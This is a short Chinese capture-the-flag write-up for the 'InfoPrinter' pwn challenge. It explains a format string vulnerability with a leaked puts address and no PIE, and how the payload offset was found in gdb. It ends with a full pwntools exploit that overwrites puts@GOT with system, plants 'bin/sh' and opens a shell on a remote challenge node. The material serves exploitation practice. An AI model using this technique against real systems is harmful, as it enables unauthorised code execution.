比较基础的一道题,这里写写我们的做题思路:
1、checksec:
2、简单IDA与运行一下,发下把puts函数地址给出来了,同时也没有开PIE,存在格式化字符串漏洞:
所以我们大概的思路就是泄露libc地址算出system地址,强改为system,
利用puts(xx),强改为bin/sh
可以看到data中位于这个位置。
这里简单讲一下我们如何确定fmtstr_payload的偏移量:
进入gdb动态调试过程:
在puts函数下断点:
然后一直n直到出现main中的gets:
输入可以得到我们输入字符串的位置在
然后
就可以获得偏移量是6。
最后完整exp:
from pwn import*
from LibcSearcher import*
context(os='linux',arch='amd64',log_level='debug')
#io=process('./InfoPrinter')
io=remote('node1.anna.nssctf.cn',28654)
elf=ELF('./InfoPrinter')
puts_addr=int(io.recv(12),16)
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
system=libc_base+libc.dump('system')
payload=fmtstr_payload(6,{elf.got['puts']:system,0x403878:b'bin/sh\x00'})
io.sendlineafter(b'it\n',payload)
io.interactive()
#用的libcsearcher,远端多试几个就完事。